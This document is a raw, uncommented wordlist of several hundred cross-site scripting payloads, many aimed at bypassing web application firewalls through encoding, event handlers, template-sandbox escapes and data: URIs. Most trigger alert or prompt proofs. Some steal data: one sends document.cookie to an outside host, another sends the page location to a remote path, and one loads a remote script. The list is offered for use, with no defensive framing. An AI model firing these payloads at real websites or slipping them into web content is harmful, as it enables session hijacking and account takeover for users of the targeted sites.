&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
1"><%3Csvg onload=alert%28document.cookie%29>'
[][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)()
";[][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)();var+test="
¼script¾alert(¢XSS¢)¼/script¾
1&a%2522%253e%253cscript%253ealert%2528/xss/%2529%253c%252fscript%253e
1'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](1)>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
'1/-alert\5023\51/';
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;>
[1].find(alert)
[1].find(confirm)
1'"><img/src/onerror=.1|alert``>
[1].map(alert)   or    (alert)(1)
#1&"><script>alert(1)</script>=1
1&"><script>alert(1)</script>=1
1"--></script><svg/onload=';alert(document.domain);'>
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
1')"<!--><Svg OnLoad=(confirm)(1)<!--
1'"();<test><iframe onload="window.alert('XSS_WAF_BYPASS')"></iframe>
1'"();<test><ScRiPt>alert("XSS_WAF_BYPASS")</ScRiPt>
1'"();<test><ScRiPt>window.alert("XSS_WAF_BYPASS")</ScRiPt>
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
%20%3Cimg%20src=1%20onerror=alert(1)%3E
%20<body onload=alert("bingo")>
/";%20confirm(1);%20//
%20<img src=1 onerror=alert(1)>
%20<img/src/onerror=alert(coffinxp`)>
%20"><img src=q onerror=alert(1)>
%20"><img src=x onerror=prompt(document.domain);>
%20javascript:alert(1)
%20<script>alert(1)</script>
%20<script>prompt(document.domain)</script>
%20"><svg onload=alert(1)>
%22%20autofocus%20onfocus%00%3d(confirm)(1)%2f%2f
%22%2525%2F%28%29%2C%20alert%281%29%3B%27%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3B%3E%3Cscript%3E
%22%27%3E'><script>alert(2);</script>
%22%3C!--%3E%3CSvg%20OnLoad=confirm?.(/d3rk%F0%9F%98%88/)%3C!--1%22%29%22%3C%21--%3E%3CSvg+OnLoad%3Dconfirm%3f%2e%28%2fd3rk%F0%9F%98%88%2f%29%3C%21--
%22%3C!--%3E%3CSvg%20OnLoad=confirm?.(/Yetixx%F0%9F%98%88/)%3C!--1%22%29%22%3C%21--%3E%3CSvg+OnLoad%3Dconfirm%3f%2e%28%2fYetixx%2f%29%3C%21--
%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e
%22%3e%3c%5K/onwheel=alert(1)%3emouse%20wheel%20here%3c%21--
%22%3E%3C%69%6D%67%20%73%72%63%3D%78%20%6F%6E%65%72%72%6F%72%3D%70%72%6F%6D%70%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29%3B%3E
%22%3E%3Cd3v%2Fonauxclick%3D%5B2%5D.some%28confirm%29%3Eclick
%22%3E%3Cimg%09src%3Dx%09onerror%3Dprompt(document.domain);%3E
%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3B%3E
%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt(%22XSS%22)%3E
#%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.cookie%29%3B%3E
%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.cookie%29%3B%3E
%22%3E%3Cimg%20src=x%20onerror=confirm%281%29;%3E
%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E
%22%3E%3Cimg/src=x/onerro=6%3E%3Cimg/src=%221%22/onerror=alert(1);%3E1
%22%3E%3Cli%20style=list-style:url()%20onerror=javascript:alert(1)%3E%20%3Cdiv%20sty
%22%3E%3Cobject%20data=data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%3E%3C/object%3E
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%22%3E%3Csvg%20onload%3Dalert%26amp%3B%26amp%3B%23x00000040%221%22%29%3E	
%22%3E%3Csvg%20onmouseover%3d%22confirm%26%230000000040document.domain)
%22%3EEnter_Mouse_Pointer_Here_to_get_XSS%3C%5K/onpointerenter=alert(location)%3E%3!
%22%3E'><script>alert(2);</script>
%22-[9].every(alert)-%22//
%22-alert('XSS')-%22
%22})))}catch(e){alert(document.domain);}//
%22-confirm(1)-%22
%22onauxclick=alert`xss`+a
%22onmouseover=window[%27al%27%2B%27er%27%2B([%27t%27,%27b%27,%27c%27][0])](document[%27cooki%27%2B(['e','c','z'][0])]);%22
23;%0adocument.body.innerHTML=location.hash;//#<svg/onload=alert(23)>
~2; "%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E"
%2500%27onmouseover=%27window.stop();alert(document.domain)%27
//%250Aalert?.(1)//
%2522%253E%253Cimg%2520src%253Dx%2520onerror%253Dprompt%2528document.cookie%2529%253B%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%3E%3C%69%6D%67%20%73%72%63%3D%78%20%6F%6E%65%72%72%6F%72%3D%70%72%6F%6D%70%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29%3B%3E
%25253Cscript%25253Ealert('XSS')%25253C%252Fscript%25253E
%2527%2520onfocus%253D%2527alert%25281%2529%2527%2520
%2527%2520onfocus%253D%2527alert%25281%2529%2527%2520autofocus%253D%2527
%2527%2520onmouseover%253D%2527alert%25281%2529%2527%2520
/%2527)%253B%2520alert(document.cookies)%253B%252F%252F
%2527%253E%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
%252F%252F%252A%253E%253CScRipt%253Ealert%2528%252FXSS%252F%2529%253C%252FScriPT%253E
%253C%252Fscript%253E%253Cscript%253Ealert%2528%2527XSS%2520here%2521%2527%2529%253C%252Fscript%253E
%253C%2531%2533%2533%253E%253C%2539%253E%253C%2569%253D%2538%253B%253E%253C%253F%256A%2532%253E%253C%252F%2563%253E%253C%252F%2573%2563%2568%2572%2569%2570%2574%253E
%253cimg%20onerror=alert(1)%20src=a%253e
<--%253cimg%20onerror=alert(1)%20src=a%253e --!>
%253Cimg%2520src%253Dx%2520onerror%253Dalert%2528%2529%253E
%253cscript%253ealert(1)%253c/script%253e
%253Cscript%253Ealert(1)%253C/script%253E
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
%253Cscript%253Ealert('XSS')%253C/script%253E
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%26%2302java%26%23115cript:alert(document.domain)
%26%23x2f%3B%26%23x2f%3Br4y.pw
#'%26%26'javascript:alert%25281%2529//
'%26%26'javascript:alert%25281%2529//
%26amp%3Blt%3Bscript%26amp%3Bgt%3Balert%281%29%26amp%3Blt%3B%2Fscript%26amp%3Bgt%3B
%26lt%3Bscript%26gt%3Balert%281%29%26lt%3B%2Fscript%26gt%3B
%26#x6c;t;\\x73cript&#62;\\u0061lert(1)%26#x6c;t;/\\x73cript&#62;
%27%09);%0d%0a%09%09[1].find(alert)//
%27;%0d%0d});%0d{onerror=prompt}throw document.location</ScRipT//
%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
'%27%3E%27%22%3E%3Cscript%3Ealert(2);%3C/script%3E'
%27%3E%27%3E%22%3E%script%3Ealert(2);%3C/script%3E
%27%3E'><script>alert(2);</script>
%27x%27onclick=%27alert(1)
"%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F
%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74
%2F%2F%2A%3E%3CScRipt%3Ealert%28%2FXSS%2F%29%3C%2FScriPT%3E
"%2F><%2Fscript><script>alert%28document.cookie%29<%2Fscript>
%2sscript%2ualert()%2s/script%2u
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
&#34;&#62;<h1/onmouseover='\u0061lert(/AmoloHT/)'>
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt
&#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt;
#&#39;-alert(1)-&#39;
&#39;-alert(1)-&#39;
"%3balert`1`%3b"
%3balert`1`%3b
%7b%0a%20%20%22%64%61%74%61%22%3a%20%22%7b%74%65%78%74%3a%3c%69%6d%67%2f%73%72%63%3d%78%20%6f%6e%6c%6f%61%64%3d%63%6f%6e%66%69%72%6d%28%31%29%3e%7d%22%2c%0a%20%20%22%65%76%65%6e%74%49%44%22%3a%20%32%33%34%32%33%0a%7d
a<%00meta name="i" HTTP-EQUIV="refresh" CONTENT="0;url=data:text/h%00tml;base64,PHNjcmlwdD5hbGVydCgiT1BFTkJVR0JPVU5UWSIpOzwvc2NyaXB0Pg==">
"><A%20%252F=""Href=%20JavaScript:k='%22',top[k+'lert']('XSS')">
"><A%20%252F=""Href=%20JavaScript:k=%27a%27,top[k%2B%27lert%27](origin)>
(A(%22onerror=%22alert%601%60%22))
(A(%22onerror='alert%60123%60'test))/
(A(%22onerror='alert%601%60'testabcd))/
<a2 onfocus=alert(1) autofocus tabindex=1>	
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a>
a=8,b=confirm,c=window,c.onerror=b;throw-a
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a>
aaaaa\”-confirm`1`//
"><a>a</a><img src=x onerror=alert(document.cookie)>{{9-9}}';alert(0);://
"aaa&#x3C;a href=javas&#x26;#99;ript:alert(1)&#x3E;click"
a'-alert(1)//
a=alert,a(1)
";(a=alert,b=1,a(b))
-(a=alert,b="_Y000!_",[b].find(a))-'
abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
" accesskey='x' onclick='confirm`1`' //
<a @['c\lic\u{6b}']="_c.constructor('alert(1)')()">test</a>
{{'a'.constructor('alert(1)')()}}
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
{{'a'.constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+\"'");}}}}
<acronym id=x tabindex=1 onfocus=alert(1)></acronym>
<a data-orig-ref="
alert(1)" data-orig-proto="javascript" href="javascript://
alert(1)">clickme</a>
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
<address id=x tabindex=1 onfocus=alert(1)></address>
=a=document.domain;top["al"%2b"ert"](/%2a%2a/a)>
a=document.domain;top["al"%2b"ert"](/%2a%2a/a)>
+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
a=”Fun”;b=”ction”;c=”ev”;d=”al(a”;e=”tob”;f=”(‘YWxlcnQoMSk=’))”;self[a+b](c+d+e+f)();
<a href="&#0000106avascript:alert(1)">XSS</a>
<a href=&#01javascript:alert(1)>
<a href="&#106;avascript:alert(2)">a</a>
<a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *>
</> " <a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'> " </>
<a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'>
<a/href=%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x0a;:alert(1)>please%20click%20here</a>
<a/href=&#74;ava%0a%0d%09script&colon;alert()>click
'"><A HRef=" AutoFocus OnFocus=top/**/?.'ale'%2B'rt'>"
'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](document%2Bcookie)>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
<a HREF="data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==">ugh</a>
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
<a href="data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">Click Here</a> { Data URI XSS: data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= (PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=) : <script>alert('XSS')</script> }
"<a href=""/*"">*/)});function+__MobileAppList(){alert(1)}//>"
<a href="/*">*/)});function+__MobileAppList(){alert(1)}//>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='test'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />tap
<a/href="ja%0d%0avascr%0di%0apt:window['axlxexrt’ replace(/x/,")]()">CLICK ME
<a href="ja%0Dva%0Dscr%0Dipt:aler%0Dt(1)">
<a href=ja%26Tab%3bvasc%26Tab%3bript:prompt`1`>pwn</a>
<a/href="jav%09%0dascri%09%0dpt%26%23x0000000000000000000000000000000003a; alert%26%23x28;%26%23x29;'>CLICK
<a/href="jav%09ascr%09ipt:window[la\lert’]()">Click me!</a>
<a href="jav%0Dascript&colon;alert(1)">
<a href="jav&#65ascript:javascript:alert(1)">test1</a>
<a href="jav&#97ascript:javascript:alert(1)">test1</a>
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
<a href=javas%26#99;ript:prompt%26#x28document.domain)>xss
<a+href="javas&#99;ript&#35;alert(1);">
<a href=javas&#99;ript:alert(1)>
<a href="javascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a>
<a href="jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e">click me</a>
<a/href="javascript%0A%0D:alert()">
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
<a href="javascript:alert(1)">a</a>
<a href=javascript:alert(1)>click
<a href=”javas cript:alert(document.cookie)” >Testing.com </a>
<a/href=javascript&colon;alert()>click
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
<a href=javascript&colon;confirm(1)>
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<a href="javascript:pro\u006dpt(document.cookie)">L1k0r</a>
<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>
<a/href="javas&#x63;ript:al&#x6c;rt()">CLICK ME
"><a href=jav&#x0D;ascript&colon;top[8680439..toString(30)](document.domain)>Click</a>
<a href="jav&#x61script:alert(3)">a</a>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>
<a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">
<a href=[​]"​ onmouseover=prompt(1)//">XYZ</a>
<a href='vbscript:MsgBox("Successful XSS")'>Click here</a>
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="&#x6a;avascript:alert(1)">XSS</a>
<a href="&#X6A;avascript:alert(1)">XSS</a>
<a href="  &#x8; &#23;   javascript:alert('Successful XSS')">Click this link!</a>
<a id=x tabindex=1 onfocus=alert(1)></a>
[a](j a v a s c r i p t:prompt(document.cookie))
[a](javascript:prompt(document.cookie))
[a](javascript:window.onerror=alert;throw%201)
”al”;b=”ert”;self[a+b]();
(alert)()
";alert(0);//
'-alert(0)-'
[alert][0].call(this,1)
"}]}';alert(1);{{'
#'-alert(1)-'
#\"-alert(1)}//
#\";alert(1);//
#\'-alert(1)//
#alert`1`
');alert(1)//
'-alert(1)-'
'-alert(1)//
'|alert(1)|'
('+'alert(1)+')();
(alert)(1)
+alert(1)+
-alert(1)-'
.alert(1);
/*alert(1)*/
; alert(1);//
\"-alert(1)}//
\";alert(1);//
\'-alert(1)//
{{{}.")));alert(1)//"}}
{}.")));alert(1)//";
alert(1)
alert?.(1) 
alert`1`
""});});});alert(1);$('a').each(function(i){$(this).click(function(event){x({y
;alert(123);
";alert(123);t="
#';alert(123);t='
';alert(123);t='
-alert(1)-&apos;
"])},alert(1));(function xss() {//
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
'alert(1)'.replace(/.+/,eval)
>alert(1)</script>
*/alert(1)</script><script>/*
'>alert(1)</script><script/1='
["');alert('1’);//"]@xyz.xxx
-alert(23)/
alert`23`
"};alert(23);a={"a":
#alert(document['cookie'])
');alert(document.cookie)();//
';alert(document.cookie)//
'});alert(document.cookie);//'
{alert('document.cookie')}
alert(document['cookie'])
alert?.(document?.cookie)
"alert(document.cookie)['script'](2);"
';alert(document.domain)//
alert(document.domain)
';alert("ibrahimxss");//
alert##<script>prompt(1234)</script>
";alert(String.fromCharCode(88,83,83))
//";alert(String.fromCharCode(88,83,83))
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
alert(String.fromCharCode(88))</SCRIPT>
alert = window["al"+"ert"]
'alert\x2823\x29'instanceof{[Symbol.hasInstance]:eval}
\";alert('XSS');//
["');alert('xss');//"]@xyz.xxx
["');alert('XSS');//"]@xyz.xxx
"}]}';alert('You got XSSed')</script>
al\u0065rt(1)
">a<marquee onstart='constructor.constructor(atob("ywxlcnqoj09qru5cvudct1vovfknkq"))()'></marquee>
amF2YXNjcmlwdDphbGVydCgiWHNzIGJ5IHZpa2FzIik=
&amp;#60;script&amp;#62;alert(1)&amp;#60;/script&amp;#62;
"&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;img src=x onerror=prompt(document.domain);&amp;amp;amp;amp;amp;gt;
"&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;img src=x onerror=prompt(document.domain);&amp;amp;amp;amp;gt;
"&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;svg onload=alert(1)&amp;amp;amp;amp;gt;
”&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;svg onload=alert&amp;amp;amp;amp;amp;#0000000040"1")&amp;amp;amp;amp;gt;
"&amp;amp;amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt;img/src/onerror=alert(`coffinxp`)&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt;script&amp;amp;amp;amp;gt;alert(1)&amp;amp;amp;amp;lt;/script&amp;amp;amp;amp;gt;
"&amp;amp;amp;gt;&amp;amp;amp;lt;img src=x onerror=prompt(document.domain);&amp;amp;amp;gt;
"&amp;amp;amp;gt;&amp;amp;amp;lt;svg onload=alert(1)&amp;amp;amp;gt;
”&amp;amp;amp;gt;&amp;amp;amp;lt;svg onload=alert&amp;amp;amp;amp;#0000000040"1")&amp;amp;amp;gt;
"&amp;amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;amp;gt;
&amp;amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;amp;gt;
&amp;amp;amp;lt;img/src/onerror=alert(`coffinxp`)&amp;amp;amp;gt;
&amp;amp;amp;lt;script&amp;amp;amp;gt;alert(1)&amp;amp;amp;lt;/script&amp;amp;amp;gt;
"&amp;amp;gt;&amp;amp;lt;img src=x onerror=prompt(document.domain);&amp;amp;gt;
"&amp;amp;gt;&amp;amp;lt;svg onload=alert(1)&amp;amp;gt;
”&amp;amp;gt;&amp;amp;lt;svg onload=alert&amp;amp;amp;#0000000040"1")&amp;amp;gt;
"&amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;gt;
&amp;amp;lt;img src=1 onerror=alert(1)&amp;amp;gt;
&amp;amp;lt;img/src/onerror=alert(`coffinxp`)&amp;amp;gt;
&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;
"&amp;gt;&amp;lt;img src=x onerror=prompt(document.domain);&amp;gt;
"&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;
”&amp;gt;&amp;lt;svg onload=alert&amp;amp;#0000000040"1")&amp;gt;
"&amp;lt;img src=1 onerror=alert(1)&amp;gt;
&amp;lt;img src=1 onerror=alert(1)&amp;gt;
&amp;lt;img/src/onerror=alert(`coffinxp`)&amp;gt;
&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;
"><a nope="%26quot;x%26quot;"onmouseover="Reflect.get(frames,'ale'+'rt')(Reflect.get(document,'coo'+'kie'))">
anything&callback=%22;alert%60XSS_POC_BY_SAAJAN_BHUJEL%60;%2f%2f
anything&callback=";alert`XSS_POC_BY_SAAJAN_BHUJEL`;//
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
anythinglr00</script><script>alert(document.domain)</script>uxldz
<a"/onclick=(confirm)()>Click Here!
<a?/onclick=(confirm)(document.cookie)>Click Here!
<a"/onclick=(confirm)()>elcezeri!
(A("onerror='alert`1`'testabcd))/
</a onmousemove="alert(1)">
</a onmousemove=alert(1)>
<a onmouseover%3D"alert(1)">xss
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
<a/+/OnMoUsEOVEr+=+(confirm)(document.domain)>
<a onpaste="alert(1)" contenteditable>test</a>
& apos;><script>alert(2);</script>
<applet code="javascript:alert('XSS')"></applet>
<applet code="javascript:confirm(document.cookie);">
<applet id=x tabindex=1 onfocus=alert(1)></applet>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
";a=prompt,a()//
';a=prompt,a()//
";a=prompt,a(1)//
asdf"onload%3d"alert('Slax Was Here!')"asdf
asd"`> onpointerenter=x=prompt,x`XSS`
//?aspxerrorpath=<script>alert(1)</script>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
"><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click
?><a/\test=?%26quot;x%26quot;?href=?%01javascript:/*%b1*/;location.assign(?//hackerone.com/stealthy?x=?+location)?>Click
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
a=`\u003c`,b=`\u003e`,location=`javascript:[].findIndex(dump)+(/${a}img src=# onerror=alert(1)${b}/.source)`
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay onloadstart=this.src='hxxps://msf.fun/?c='+document["cook"+"ie"]' src=x>
<audio controls ondurationchange=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
<audio controls onprogress=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
"><audio onplay=alert(1);>
<audio src=1 onerror=alert(1)>
/* <audio src=1 onloadstart=alert&lpar;1&rpar;//> */
<audio src="nonexistent.mp3" onerror="alert(1)"></audio>
<audio src/onerror=alert(1)>
<audio src/onerror=alert(1)>	
<audio src onloadstart=alert(1)>
<audio src(unknown) onerror="alert(document.cookie)">
“autofocus onclick=’&#97;lert()’
“autofocus onclick=’alert()
"<> au<>tof<>ocus o<>nfo<>cus=<>al<>ert<>(1<>)
"autofocus/onfocus=alert(1)//
"autofocus onfocus='alert(document.domain)'
autofocus ' onfocus='alert(document.domain)'
“autofocus onFocUs=’find(l\u{6F}cati\u{6F}n=`j&Tab;avascr&NewLine;ipt&colon;al&Tab;ert()`)’
" autofocus onkeyup="javascript:alert(123)
ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6
ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli
<a x href=javascript%26%23x3A%3Bconfirm(1)>a</a>
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
<b/alt="1"onmouseover=InputBox+1 language=vbs>test</b>
banner.swf?clickTAG=javascript:alert(1);//
